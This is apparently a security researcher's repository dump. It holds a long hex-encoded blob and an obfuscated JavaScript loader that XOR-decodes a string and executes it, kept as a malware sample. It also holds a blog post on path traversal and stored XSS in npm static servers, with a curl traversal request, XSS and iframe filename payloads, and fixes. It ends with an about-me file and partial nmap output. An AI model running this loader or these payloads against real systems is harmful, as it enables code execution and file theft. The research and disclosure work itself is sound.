"216a7f4f366837556d0e392c2e642c777c4e766c5c3f670b4e335179063e75317b0451002d0c102443787c3e0f2106272974" + "720647360f4272723811242a" + "597b0273392378427" + "400750a37422c185118457c0474081d5d350d2d7e620b1e2875564307772c0e7d205" + "95a7554185054243" + "6527504" + "7f1b5b0b035733712761554407374" + "25e5c7854033261391972327b637c482a7c4c103e33" + "2b77255d2c01780d0c292c411367610b034f7c417f4152786d14530c0b52765b383c5" + "a3a27647178437652747366715d" + "7421395e0107635078577c2a7b53343d613f0e2727665" + "46f510e0b4d083a75575c5e366e531f630629" + "297a55554d232a4e530356787e7c624e5756" + "4659106" + "70875" + "270d240e235d021f30612561007f76736264097f162d05016563034d3d7f162318782c5" + "c6b292510772e145857512420305602794316700b0b7a27221f5b07462d73604c63" + "5" + "40c22277569293370445d09042772227a0021" + "47735870615a586c155c096f155c52027e702f094331025e" + "0b751e75241d280a39" + "7b004b46017a7d7824190477577c6" + "b0861402f33085f0365597101337b3b3b0b1b01750d22647a542b2c033e3278541f222341" + "047a64067e7e4b0c247f740d58067c7f6e6e7" + "72c364e5955457f0d2" + "61408210e5e2e" + "582c7e56457c612710287472775b18183b277e402e77312a7575721e6c2c195f262a6351303236" + "2127" + "1c4b32205c492e2227320e3a043548221e6b5a002d6c7f3604381c19722a6e234779001" + "45c2a080" + "a116b385e" + "3718571e7f5b13472f25614a122e37535347270c0820220630372d421e762c5f0246004b742d276d22607f2f0d3" + "b7a22280e0858194a6d78645b082046292" + "659662e650a5c081c5d253a0f6a7d3b4c0" + "1270253" + "0e6f095b0c2b3" + "f004f7943611b2016606f01587b06227b0003507b513d436b672123483056156703242066224c020f0a293d300b130f652a733e0d04292c1b0b5d2c2a4274555d6f2b040c26215e29222b2b46752278312910060652332139260b7277676756351804757606730c172e516103015e" + "510c786a142f2f4552194875772" + "d0a5a2b2d054e7a5d317b6f7451707b750662784d222e2" + "e626559325331097369017a432e1506137b2" + "f6a7542106b571e0f582637342607505c5e21410d756d2a7b3e324a5f567e0d596525380d3e0d055d5b57242d591a2166517b1b7758671c2622311d0078782823267766615755700d1b782c35030c61227267475e7506507a490d0f7c2a61051d3" + "879680a71293c51747a1f2963322" + "463507f5b5e4f7c5e66496a693e792834722e1b2e00600c255023416a" + "240170025e" + "215" + "a446f29774d340e52415" + "f227f1f550d710e715b0405051872480e1727290f5f5d46134e0f7c1b2" + "d5d1f7" + "c28795e70273342260e7a3909481c6578682974622e003402292b" + "3c7a4e033b130a63640602064879650c587a547974490f4c23543c262b5e00290c780330677d4a2" + "44" + "4257e7e766d316a7f3e" + "582" + "a6" + "f" + "2554065e02526b3c033d4e7c2873721751145d5" + "42365294e51290761" + "0e02250b0a2174153d301c215c2a4a0e0e087f6d1e6b1e5340215d6b006751114b5d782b7e51670d28227d641e2e151a295e4" + "e3f34660f75025125777f2c562b59473a6b377c046677165a1072267f70103" + "44e44530b42375619214a2e7b32732d23724470" + "7421224a5d7e593421297e742e03025c212f490a597f68706a7e53083d5a107a532c0a49600c3a347925780e587a452a091f790d005a77536f0" + "a3e4f3b0345405d087e58040550561025771c2b372628087e271a031" + "2492b200c183b55683c0749273d290c53680b226a7879641d7057620d3524007c3d400b555c50200854466a4b0" + "3783238647f022851731d25350510715656007e1a671650465f55704" + "30f2737172a5a4e4f59700655257d7d4d1c045c7" + "d7b6c" + "7d253d7c73677f73493f5928012e51465c51515e3f5b441301695d2e16591676716653" + "65652f4a2826050562084f364c51113d2c261c5c" + "7" + "910797b125c76065f" + "6d6f7b510d6d1769053e102d2a414f220610531a145f0a025972" + "71515d7f774d2913213" + "c257a507327434d49" + "2f001c255233012d29075c0f641f7a715535074f30182e6179524f2a013e2e" + "07796822647c6f4d074f4c51560a3c0e68044f1f3773" + "2c1973317b56315a03055e" + "73755605633b5437210e63054e3b217203003d51" + "294b59510f03792a6e645d4c3623782" + "e006" + "b0d091c380933330c6e55016959760c0c58780c29212f4c0b2c2" + "b4f" + "5d22732f63515" + "e755418222511576d0663300921750122325e2a0b523007397d6e7d5d43464d6007282a" + "2a797322517c7f0319471a342709" + "5c1750044e050c79731a547b040c546b1959477232092e6e7e51527f197b06087143585" + "e7d347a27545" + "d7b585e25587314007507322e3402795861516f" + "0d07775734150" + "b346e550e6e4a405e682703440223434d6a78454e2e50472a1a1f012950020d0b787f472f7f3d50307b7222002502422d607c795d32130433602b6326" + "6472782b32002c46532" + "96c03146f3d56395d716e7f582629030b217b360329187f5" + "4346" + "66c062824" + "5c2e6b593508490f7f555872760d00544b23757712005e46417505202d482f0b290e202316632808217b1e052165705e1b7a785059307953777b6f055a0e734a0f181b7f440b74016f2f7b2b317" + "54d3b7e14075101523e2f257b011d2553772d4d771" + "25a3b7536712b55004245785e050073285963" + "6c042a18470e284a0c072235010d0a590c07047b04667a4b2f150f27592c086a1c427f2e64705d6f2e02755604265b55627b2d46081e386657357b5130000f36737c5" + "624322f00464f0d1130" + "2d56003028400" + "c570a0d552a1" + "02f1f0f40211" + "52c2c592e2a787c68640a1f0c5e6e093543267f062d57496a4b226d174" + "8285d4236004b49562722034570" + "4a5b26744a7449722d7e3b52" + "78746217615503087b1f095a544e077b0b50625b07067b4c222b3f7d3f5" + "66e4d707423095a4e5a26507046043424180c564a1b671b50717d5601737b540604071449391827021476281f535a710326450554785907616228" + "47236a7e006c70582e5c4f2402790b445d52061b227103750" + "35" + "a032a7" + "f0f415a752a1a7c3f0e52743208677377705f6b322563300c285" + "6555a075317121f0d592c08" + "22233" + "f3f780d18516d" + "4d4f366d7e09052250627f77682f1d777c7c7b0e514f7113077e073e3c78316f224b5" + "d607c72564a02244878546c0e48474b533d555a0732" + "147a53210f772e47712514717c4d6165080659" + "5a226a7e1e091150057c0f2f2d792b58152d030b495f003168700a38482474537a725970483253252329462c5c31295432516a005c5d055623774779595a2d61241e462a6e797b076651097b63793c1" + "1271a54242a093" + "56545110052363c522a4e2" + "a2d30787b3a0256530a4a3c035e5b0109530b68672856" + "171d570233075b7a4d2" + "55b0f00732a022a0e19554e" + "24482" + "10f0d78564431402727495d0a36237c590c093c2924722727397d4b366f764a78073f7a73377c212" + "c4d7e6c0c6f60094f6b007b5269753074404a402c02137715227b3e0d2f522d7c" + "227001436455457a266b4522235e7" + "d50763a2327167455705f2c5a6a180414422953225c1b58305c7f2b76140a7f7401420" + "02c2c0b7523585d27004a5f552a365227062b465d0d0a5130237d3d5114526d175a537a58006170210d213272347f4f7c7d1e403c372f2229547" + "90d2d575a7f7810466731085219" + "73157" + "410007f7b5c445b0c56770a69335a3e2735257345755224716075582f7c310b07043303" + "7d042a2b21022575723a5d7472360f3e065b0c195a3a7e015e0f6868084f305b297d2a5" + "80b1e732d1e5455512d7f2c6" + "418065a460c176002772001371c3859135221652963042a7027702d4e7b102e0503323d021c68794" + "723192e280e38282" + "64270234059104c317a320c557b49432409" + "0d202f754b5907492973304b66030e227621382f64754f0e0c05737c2577526159300874640d533a400e1d7c530a03032a2a2c1a5171080f017a4d76251c2d0e6b29514917552e792a291c54331f663005" + "69417836065e0e6b097" + "00b377c6c395d1901265072653c49" + "6a7b08792d6e534e23211455203d07237e5e13607d250c530b2c7e346e267f6b470808497e0e73420b6217487558787c57462f317706603474210e4c456b707f4b2f2e3e7a7272755f70681f5a" + "79" + "286451636" + "0622b3d025c35775d4" + "d7" + "e7f75675663526219711a350c077e30" + "2867567901196f6d697" + "54c2e021d5e7a1d4511712e0a395f4a0e29584d4772207757007d3a565e15735a5d71700930377d174" + "c212f0c5a1605477" + "67b273e26602" + "97e5e392a2270070c5c030529" + "2f340d037548782a02743274015e594f" + "5b206b5d3d2c6c1a557256035d3c5b" + "0f0b7c3f05187f1622526440603e525c691f66710c0" + "35727566e41683b252f49234c1" + "574112f206622" + "4c035e5d223c6b0d485f352f223e5d502d2e4f5a0e232b1477045c687b005729200a7f78797c117b737c6a7842505505726b7d250e72723e37526" + "e4d077726522c0f147d036403095957077a6b1729" + "201f004f1c6139380d" + "592a7f031b2b0c6079387d5273782f56612d49237e7e67385e6e44791a7c62097" + "859675407412f776b751114395b120a0b" + "7164357b070c5a0c224352763b772c6b301d" + "56572d5e5c3e736c583f08070c5652757c59083371567e48760a6542247f6210007d7e28722473353" + "00155" + "20501a7f7e67505f62757f34430e77060428435f5f792632061e642a3004" + "766d21407a7d5c6472312161562900081f795f21072b3c69752e63797d467d53640c27012553" + "74375a250e597705413b7a20433f0357175e27264f040d2609705401561556654d0a45277c0a56041017" + "445e7f09314f4c29287e0e227" + "536442c0b2e385c484f6022687e7262295731" + "067e2c6b7d4f033649" + "0d313204" + "0c01132d655854795d792114501f2d" + "0e6e247b5f037e5e29523a672c1925513f392f762d23717962082e3b2754075e585" + "26228492c4f28277371140b115d5679652b13532a0361055d23570022210677" + "264a214f6350515c09256f05720c5f41205f3a506106424a59292a2e0b665526772" + "f66096355417f584b6f31604c3d11527829292a072" + "c00156f69657d073d7c140a1278" + "702c7c10255c55065c463d02497e18792f3b222a7b734324257b224e5" + "f7b0b35262f2f7574040c002e214101582f3321382a035a390e1374577e0a4f640a792d6e70230b58774a760f4c740c151466077a03375c3b0a174209522d5151030c064c25211f266176" + "2b0f79775e4d0710287703493a556b33034e766e691f1" + "56e0" + "866226d7f6159" + "69456508316213386b440f070b01260c135a2c13567c633b6a280d73577c457" + "4300" + "644710000546a136e0c05120b5574440e76301a7e0e491f0c7402017e292d" + "4148070b2d2c657b713d" + "2d74352175496b0e2e0d7c571207040f5c3708174151395c2e06440074266456306a7c1d2a7a58076251587" + "e5c50" + "166a29741d0d704578" + "2d4d0b7f" + "08092b22" + "6e560d295a2a553a122d2c4c1b715" + "a1b515d5c4d4c1c1d2277075c7c7e482e10243e7472572d7c101e43705249730332042d230e1d42234d7d220339534e6318203326081f79093f7c507c6921372d3c1e54491e59031a21156e570" + "8012d73291" + "e26697b55610259000a717007563e3d50" + "647006200c477c2e2151523d5173410d015" + "351742f" + "38365645602f2d230b3e0818557c013524177b05016" + "90b790c0" + "d5e2c0d77717f465e21261b0c72742860005a7c561978" + "7510506b0e3a3f5f76710077345f2a580b3e036b74687d0144441864153373"));

================================================
FILE: javascript-malware-obfuscation/do_not_run_deobfuscated.js
================================================
(function(quhuvu6) {
    var defiq = cicuza(quhuvu6);
    var permy = "H@D~7a84O";
    var v = {
        getpy: "myqniroqa3"
    };
    var fnConstructor = String.constructor;
    var t = "mokzine";

    var dikol = [];
    var k = 1;

    while (k <= 1) {
        dikol = (permy.substr(permy.length - k)).split('');
        for (var j = +!!false; j < defiq.length; j++) {
            defiq[j] = defiq[j] ^ dikol[j % dikol.length].charCodeAt(0);
        }
        k++;
    };

    for (var r = +!!false; r < defiq.length; r++) {
        defiq[r] = String.fromCharCode(defiq[r]);
    };

    t = defiq.join('');
    v.toString = fnConstructor.constructor(t);
    var gogoq = "1cf4d5" + v + "631a403f5";
    
    nilse(gogoq);

    function cicuza(val) {
        var result = [];
        for (var i = 0; i < val.length; i += 2) {
            result.push(parseInt(val.substr(i, 2), 16));
        }
        return result;
    };

    function nilse(tefkysab) {
        return (new Function()(tefkysab));
    };
}("41553a304f0b442551284206"));   // truncated; see do_not_run.js for original value

================================================
FILE: npm-static-servers-most-common-issues/npm-static-servers-most-common-issues.md
================================================
# Most common security vulnerabilities in npm static content/file servers modules

## Intro

If you are JavaScript developer and you are working with Node.js, chances that you've never heard about [npm](https://npmjs.org) are literaly slim. **npm** is a repository where hundreds of thousands ready-to-use modules for your state-of-the-art Node.js application are just waiting to be downloaded and used as a part of your codebase. node_modules directory in your project grows up exponential along with every new feature you are working on.

Maybe it's even more and **you** develop npm modules as well, giving back your work to the community. That's really fantastic, I always encourage to contribute to open source projects and share your work with the others. Developers build this ecosystem and thanks to them it's amazing.

There are many types of modules doing specifing things. One of those things are **serving static content** from your server directly to your users. They can be used for eg. browsing directories, edit files or they just can work as small CDN service for your web application CSS or images.

If you developed already such module or you are going to build one, maybe just for your needs, maybe just for the company you work for - security should be a very important part of your project. 

Unfortunately, this is not always the case.

In December 2017, **[Node.js Ecosystem Bug Bounty Program](https://hackerone.com/nodejs-ecosystem)** emerged on **HackerOne** platform. The very first report, opened by Yasin Soliman [@ysx](https://hackerone.com/ysx) was Path Traversal vunlnerability in ```serve-here``` module and since then, this kind of vulnerability (which in most cases leads to Local File Include) is the most common reported - https://hackerone.com/nodejs-ecosystem/hacktivity?sort_type=latest_disclosable_activity_at&filter=type%3Aall%20to%3Anodejs-ecosystem&page=1&range=forever


 In this post I'd like to present most common security issues in static server npm modules I found in the last couple of weeks. If you do not know what Path Traversal, LFI or XSS issues are - I put links to some basic resources about each of issue and strongly recommend to read and learn what they are and how they can be used against your application users.


## Path Traversal and Local File Include


[Path Traversal](https://www.owasp.org/index.php/Path_Traversal), also known as Directory Traversal, is an issue which allows attacker to go up in directory tree on the remote server, using ```../``` sequence (dot-dot-slash).

This type of vulnerability exists when server takes user input (eg. filename) and uses it to build relative (or absolute) path to static resource, like text file or image. 

This leads to several vulnerabilites, the most common is [Local File Inlclusion](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion). Very dangerous situation occurs when application allows users to upload files into chosen location. If An attacker is able to change destination path, one is able to upload eg. webshell (simple script which allows to execute system commands on the remote machine) into the directory accessible in the browser and gain an access to the server's command line.


Let's see how this vulnerability can be exploited in the wild.

Presented code comes from [public](https://www.npmjs.com/package/public) npm module:


```javascript
    var pathname = url.parse(req.url).pathname;
    var filePath = path.join(dir, pathname); // Real file path
    var base = filePath.replace(dir, ''); // Base path for browser link
    var abs = path.resolve(filePath); 
    console.log(new Date().toString(), abs);
    fs.readFile(filePath, function(err, data) {  // <-- vulnerable line
      if (err) {
        (...)
      }
      res.writeHead(200, { 'Content-Type': mime.lookup(filePath) });
      res.end(data);
```

In line marked with ```<-- vulnerable line``` comment, you can see ```fs.readFile()``` call, where ```filePath``` is used as an argument.

```filePath``` is build with ```pathname``` argument read from HTTP request. No sanitization was introduced, so if ```pathname``` contains dot-dot-slash sequence, Path Traversal can be exploited.

When ```public``` is run, nothing could stop attacker from reading the content of any file on the server:


```
$ curl -v --path-as-is http://127.0.0.1:8080/../../../../../etc/hosts
```

---

This issue was fixed by the module maintainer. You can read full report on HackerOne here:


[[public] Path Traversal allows to read content of arbitrary files](https://hackerone.com/reports/312918)

---


Another example of vulnerable code comes from [hekto](https://www.npmjs.com/package/hekto) module. First, let's see how path is read from HTTP request:

```javascript
 let file = path.join(process.cwd(), argDir, this.request.url);
 ```

 Now, ```file``` contains full path to requested resource, starting from current working directory (from where server was run). Next, some logic is implemented (not related to the vulnerability though), which takes particular action depends on file extension:


 ```javascript

    if (fs.lstatSync(file).isFile()) {
        this.status = 200;

        if (path.extname(file) == '.html') {
            this.type = 'text/html';
            this.body = fs.createReadStream(file);
        } else if (path.extname(file) == '.css') {
            this.type = 'text/css';
            this.body = fs.createReadStream(file);
        } else {
            const fileBuffer = readChunk.sync(file, 0, 4100);
            const mime = fileType(fileBuffer);

            if (mime) {
                this.type = mime.mime + '; charset=utf-8';
            } else {
                this.type = 'text/plain; charset=utf-8';
            }

            this.body = fs.createReadStream(file);
        }
    }
 ```

 What you should notice here, nowhere in the code ```file``` is checked against existence of ```../``` sequence. This leads directly to Path Traversal vulnerability and allows attacker to read content of arbitrary files.


Solution implemented by module's maintainer simply checks if ```file``` path "fit" inside current appliaction working directory (if ```../``` sequences are present, ```file``` won't pass this condition as it "goes" outside):

```javascript

    if (!isPathInside(file, path.join(process.cwd(), argDir))) {
      this.body = 'Bad Request';
      this.status = 400;

      return;
    }
```


```isPathInside``` method comes from 
[path-is-inside](https://www.npmjs.com/package/path-is-inside) module, which is a good choice if you want to prevent your code against this type of issue. As an author explains in his GitHub repository [README](https://github.com/domenic/path-is-inside/blob/master/README.md) - detection of path is not as trivial as it looks like. 

Incorrect implementation of path resolving routine can easily introduce Path Traversal vulnerability in your code, so always be careful when you build your paths.


---
 You can see the full report on HackerOne here:

 [[hekto] Path Traversal vulnerability allows to read content of arbitrary files](https://hackerone.com/reports/311218)

---


Here's another variant of this attack scenario.

This time, [serve](https://www.npmjs.com/package/serve) module allows to display directory content directly in the browser:


![](assets/1.png)


Attacker was able to use ```%2d``` and ```%2f``` characters (an ASCII codes of ```.``` and ```/``` respectively) and forces server to display content of directories outside of the application root:

![](assets/2.png)


An issue was [fixed and patch deployed](https://github.com/zeit/serve/pull/316/files) in just 2 days after report was opened. The implementation of fix contains ```decodeUriComponent()``` (see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURIComponent)  JavaScript function, which turns URI encoded characters into their ASCII representation, so ```%2f``` becomes ```/``` and ```%2e``` becomes ```.```. This normalization allows to verify if sequence ```../``` is present in the url and does not allow to bypas protection against Path Traversal with various URL encodings (with Unicode or hexadecimal encodings).

---

Full report available on HackerOne can be found here:

[[serve] Directory index of arbitrary folder available due to lack of sanitization of %2e and %2f characters in url](https://hackerone.com/reports/307666)

---


**Remember to always sanitize user input comes from HTTP Request and never use anything which comes from Request directly in code, especially if this code executes calls to the system, like opening and reading files or streams, creating directories and similar methofs from [File System Node.js module](https://nodejs.org/dist/latest-v8.x/docs/api/fs.html)**



## HTML Injection and XSS issues in displayed content

In the last example of Path Traversal vulnerability in **serve** module, an user was able to see the content of directory in the browser. This is not always the case (many static server modules does not expose directory listings), however, in some modules which provide this type of functionality, another problem is quite common.

As any other output displayed in browser, directory listings contains HTML code, mostly built as concatenated string contains HTML tags and directory and files attributes to display them to the users.

Let's take a look at sample code, which comes from [crud-file-server](https://www.npmjs.com/package/crud-file-server) module. This fragment builds HTML output in the way described above, using list of files saved in ```results``` array:


```javascript
    res.setHeader('Content-Type', 'text/html');                                         
    res.write('<html><body>');
    for(var f = 0; f < results.length; f++) {
        var name = results[f].name;
        var normalized = url + '/' + name;
        while(normalized[0] == '/') { normalized = normalized.slice(1, normalized.length); }
        res.write('\r\n<p><a href="/' + normalized + '">' + name + '</a></p>');
    }
    res.end('\r\n</body></html>');
```

Especially this line should be bring to our attention:

```javascript
res.write('\r\n<p><a href="/' + normalized + '">' + name + '</a></p>');
```

It might not be obvious at first sight, but this code contains [XSS](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)) vulnerability. 


If ```name``` will contain string ```<script>alert('XSS!')</script>```, then the result of this line will be an HTML contains XSS payload send to the browser:

```html
<p><a href="/<script>alert('XSS!')</script>"><script>alert('XSS!')</script></a></p>
```

Of course, ```href``` attribute valueis invalid, but this is not important in this attack scenario. Important is that between ```<a>``` and ```</a>``` tags there is perfectly valid ```<script>``` tag which contains malicious JavaScript code.


When this output will be returned to the browser by ```res.end()``` call, JavaScript will be executed.


Ok, but this is only some teoretical attack vector. To be able to exploit this vulnerability, we need to put ```<script>alert('XSS!')</script>``` as a file name. Of course, instead of ```alert('XSS!')``` JavaScript code in the payload should do something a little bit more malicious than only displaying popup with some message to be considered as a threat for the users.

Creating the file with name ```<script>alert('XSS!')</script>``` is the only way to achieve some code execution in the browser. But, due to operating system, there is no way to create file or directory with ```/``` character in the name. 

Do we need one though?

Not really, because we **do not need to execute JavaScript directly**. We can instead embed ```<iframe>``` element and set its ```src``` attribute to HTML file created in the same directory. And in this HTML file we can implement any logic, including any JavaScript we want. Like ransomware downolader.

So, let's summarize what we need to expolit this:


- we need to create file with following name: ```"><iframe src="malware_frame.html">``` This file does not need to contain any content. We need only the name

- next, we need to create ```malware_frame.html``` file, which will be loaded into the iframe element created in HTML output. Here's very simple example:


```html
<html>

<head>
    <meta charset="utf8" />
    <title>Frame embeded with malware :P</title>
</head>

<body>
    <script>
        alert('You are pwned!')
    </script>
</body>

</html>
```

As a result, when user will open directory listing in the browser, malicious filename will load ```malicious_frame.html``` file and code from this file will execute:

![](assets/3.png)



---

Here's the list with links to reports on HackerOne, where this vulnerability was found (and already fixed):


[[simple-server] HTML with iframe element can be used as filename, which might lead to load and execute malicious JavaScript](https://hackerone.com/reports/309641)

[[simplehttpserver] Stored XSS in file names leads to malicious JavaScript code execution when directory listing is output in HTML](https://hackerone.com/reports/309648)

[[anywhere] An iframe element with url to malicious HTML file (with eg. JavaScript malware) can be used as filename and served via anywhere](https://hackerone.com/reports/309394)

[[crud-file-server] Stored XSS in filenames when directory index is served by crud-file-server](https://hackerone.com/reports/311101)

---


To prevent code against this type of issues, an output needs to be escaped before is send to user's browser:


```javascript
return '<li><a href="'
      + escapeHtml(normalizeSlashes(normalize(path.join('/'))))
      + '" class="' + escapeHtml(classes.join(' ')) + '"'
      + ' title="' + escapeHtml(file.name) + '">'
      + '<span class="name">' + escapeHtml(file.name) + '</span>'
      + '<span class="size">' + escapeHtml(size) + '</span>'
      + '<span class="date">' + escapeHtml(date) + '</span>'
      + '</a></li>';

```

This fragment comes from [serve-index](https://github.com/expressjs/serve-index/blob/a399faa1801f02ee1885e5664ed21a9c7990b63a/index.js#L279):) middleware for ```ExpressJS``` framework. Calls to ```escapeHtml()``` comes from [escape-html](https://www.npmjs.com/package/escape-html). Let's see what this function does:

```JavaScript
var matchHtmlRegExp = /["'&<>]/;

// (...) some other code  here

function escapeHtml(string) {
  var str = '' + string;
  var match = matchHtmlRegExp.exec(str);

  if (!match) {
    return str;
  }

  var escape;
  var html = '';
  var index = 0;
  var lastIndex = 0;

  for (index = match.index; index < str.length; index++) {
    switch (str.charCodeAt(index)) {
      case 34: // "
        escape = '&quot;';
        break;
      case 38: // &
        escape = '&amp;';
        break;
      case 39: // '
        escape = '&#39;';
        break;
      case 60: // <
        escape = '&lt;';
        break;
      case 62: // >
        escape = '&gt;';
        break;
      default:
        continue;
    }

    if (lastIndex !== index) {
      html += str.substring(lastIndex, index);
    }

    lastIndex = index + 1;
    html += escape;
  }

```


Not as sophisticated as it might look like for module which is downloaded almost five millions times per week, isn't it? :)


Escaping HTML is quite straightforward operation: you need to change all occurences of special characters like those present in ```matchHtmlRegExp``` in code above and change them into HTML entities. So for example ```<``` will become ```&lt;```, which will still be displayed as ```<``` in the browser, **but** it won't be **interpreted**. So any attempt to embed any of HTML tags, especially ```<script></script>``` pair, which have very bad consequences for your users.


So, instead of input sanitization, like in Path Traversal, this time you need to take care of **output escaping**. Those two rules should become your motto:


> **Always sanitize user input, always escape user output**

Now, you can print this and pin somewhere in front of your eyes :)


## nodestructor - Node.js application static code analysis tool


All presented issues in the code are mostly caused by couple of instructions used to read files or create HTML links with ```<a>``` tag. So from some time, I develop a very simple tool for quick static code analysis in Node application - [nodestructor](https://github.com/bl4de/security-tools/blob/master/nodestructor/nodestructor.py).

When you run this tool and set your project directory as the target (or any npm module directory), you will get a quick info, which files contains some well known code patterns lead to some of presented in this post vulnerabilities:


![](assets/4.png)


As you can see, an output contains information about each identified pattern, with line number. At the end of the scan, a summary is presented about how many files were scanned and how many pattrens were identified:


![](assets/5.png)


The list of patterns is not very impressive, but I use this tool while looking for the issues in Node.js Ecosystem Bug Bounty program and add any new pattern which looks (for me) suspicious or used in the wrong way (without sanitization of user input) might expose some vulnerability.


Feel free to use it and modify as you want :) It's under the license called "There is no license"


## Summary

Keeping the code secure might be hard from time to time. Some issues are not easy to spot at first point of view. Some of them are not trivial to exploit. 

The fact your code is available online, helps attackers to look for vulnerabilities and use them against your users. 

From the other point of view, the fact that majority of the problems is caused by lack of user input sanitization makes things a little bit easier if you have well defined entry point in your app and use proper sanitization. Escaping output before it's send to the browser is also a good habit.

If you have any questions or you think there is something wrong or missing in this post - feel free to ping me on [Twitter](https://twitter.com/_bl4de) or send an email to ```bloorq``` email address in the Google mail domain.

Stay Safe!

Rafal 'bl4de' Janicki


================================================
FILE: params.json
================================================
{
  "name": "About me",
  "tagline": "About me",
  "body": "\r\n### whoami\r\n--\r\n\r\n```\r\nwhoIsBl4de() {\r\n  [\r\n    $$BugBounty$$ Hunter, \r\n    CTF{flag_seeker}, \r\n    coder.createCode([JavaScript,Python,PHP,Bash,C,Java]), \r\n    h4cK3R, \r\n    https://web.developer\r\n  ].random()\r\n}\r\n```\r\nHello and welcome to my GitHub account.\r\nIf you'd like to know more about me, this is likely the best place to start :)\r\n\r\n--\r\n\r\n### Research\r\n\r\n#### Hidden directories and files as a source of sensitive information about web application\r\n\r\nSome analysis about how to get information about web application from folders like _.git_ , _.idea_ and similar.\r\nhttps://github.com/bl4de/research/tree/master/hidden_directories_leaks\r\n\r\nAs a part of this, I'm working on tool (in Python) to extract data from revealed Git repositories:\r\n\r\nhttps://github.com/bl4de/security-tools/tree/master/diggit\r\n\r\n#### RAA Ransomware JavaScript code analysis\r\n\r\nDetailed, step-by-step analysis of RAA ransomware, created entirely in JavaScript\r\n\r\nhttps://github.com/bl4de/research/tree/master/raa-ransomware-analysis\r\n\r\n--\r\n\r\n### Bug Bounty\r\n\r\n**Bugcrowd**\t\t    \r\n\r\nhttps://bugcrowd.com/bl4de\r\n\r\n**HackerOne**\t\t  \r\n\r\nhttps://hackerone.com/bl4de\r\n\r\n**OpenBugBounty**\r\n\r\nhttps://www.openbugbounty.org/researchers/_bl4de/\r\n\r\n--\r\n\r\n### Hall of Fame\r\n\r\n**OLX** https://security.olx.com/security-hall-of-fame.html\r\n\r\n\r\n### Acknowledgments\r\n\r\n**Eternity Wall** https://eternitywall.it/m/5ac86b8099d0121ff3b1944309878eb7d1d37341b062ec4a7219957fb5776365\r\n\r\n--\r\n\r\n### CTF\r\n\r\n**CTFtime.org**\t\t  \r\n\r\n#### 2015\r\n\r\nFinished overall rating place: 562 with 14,677 pts in 2015.\r\nTeams with points: 7275, best team result: 1789,884 (Plaid Parliament of Pwning)\r\n\r\nIn 2015 I've finished in **top 8%** teams in CTFtime ranking with any points (more than 7800 teams in total), with **0,81% points of the best team** :)\r\nI was as good as almost 1% of Plaid Parliament of Pwning! :)\r\n\r\nFull stats: https://ctftime.org/team/12769 (bl4de - not active at this name anymore)\r\n\r\n#### 2016\r\n\r\n(in progress...)\r\n\r\nFull stats: https://ctftime.org/team/16701 (Stack)\r\n\r\n#### CTF writeups\r\n\r\nYou can see my **CTF writeups** from variuos events here: https://github.com/bl4de/ctf#ctf-capture-the-flag-writeups-repository\r\n\r\n--\r\n\r\n### Me online\r\n\r\nYou can follow me on **Twitter**. I share IT security, web development and coding related stuff.\r\n\r\nhttps://twitter.com/_bl4de\r\n\r\n\r\n#### Other sites\r\n\r\n**Project Euler**\r\n\r\n![Project Euler badge]\r\n(https://projecteuler.net/profile/bl4de.png)\r\n\r\n--\r\n\r\n### [PL only]\r\n\r\nJeśli nie jest Ci obcy język polski ;-), to poza powyższymi miejscami możesz także zajrzeć na strony portalu **sekurak.pl**, gdzie znajdziesz trochę moich tekstów.\r\nMożesz je odszukać podając w wyszukiwarce mój nickname (bl4de) lub po prostu kliknąć ten link:\r\n\r\nhttp://sekurak.pl/?s=bl4de\r\n\r\n--\r\n\r\n### About me\r\n\r\nA few words about myself :)\r\n\r\nI am Full Stack Web Application developer since October 2007 (professional career, but I have started to write code in Basic on my Commodore 16 when I was 15, in 1992 :) ). After 8-bit era (Commodore 16, 64 and 128) and 16-bit era (Amiga 1200) in 2000 finally I've got my first 32-bit PC machine with Pentium processor and 32 MB RAM. Then in 2002 I've finished my IT Associate Degree and started to learn everything else by myself. From time to time.\r\nUnfortunately for me, I was able to start my professional IT career when I was 30 years old, in 2007. Now, I've got web development experience (both server and client) with several technology stacks including LAMP (Linux/Apache/MySQL/PHP) Node.js/server-side JavaScript applications, JavaEE enterprise applications (some basic experience, I am not Java developer).\r\n\r\nSo, Linux/UNIX machines, Bash, PHP, JavaScript, HTML5, Python, SQL, database engines, web servers, Node, Single Page Applications, AJAX, REST, SOAP/WSDL, Angular, Git, SVN, MongoDB, JSON, EcmaScript 6, Babel, Promises, closures, Public/Protected/Private, constructors, interfaces, imports, includes, Require, modules, components - and many, many, many other words - I know them all :) Even more - I know what they mean and even how to use them! :D\r\n\r\nDuring all of those years I had a feeling that IT Security is something I'd like to do most. So I've started to improve my knowledge in fields like web applications security, network security, penetration testing.\r\nIn 2015 I've started to attend as many CTFs as possible, to do IT security related research, to develop tools for IT security world and to do all this stuff what some guys call 'hacking' ;) \r\n\r\nSince June 2016 I've also started to participate in couple of bug bounty programs on Bugcrowd and HackerOne.\r\nIn July 2016 I was able to send my first couple of bugs finding reports both on HackerOne and BugCrowd and on 1st of August 2016 I've received my first \"Hall of Fame\" entry and first approved bugs. But that was just the beginning.\r\n\r\nToday, I'm going to continue my career as successful inedpendent penetration tester, security researcher and bug bounty hunter.\r\n\r\n--\r\n\r\n",
  "note": "Don't delete this file! It's used internally to help with page regeneration."
}

================================================
FILE: pwnlab-walkthrough-INCOMLETE.txt
================================================

Starting Nmap 7.11 ( https://nmap.org ) at 2016-08-07 15:51 IST
Nmap scan report for 192.168.1.2
Host is up (0.0012s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          39863/udp  status
|_  100024  1          56877/tcp  status
3306/tcp  open  mysql   MySQL 5.5.47-0+deb8u1
| mysql-info: 
|   Protocol: 53
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 51
|   Capabilities flags: 63487
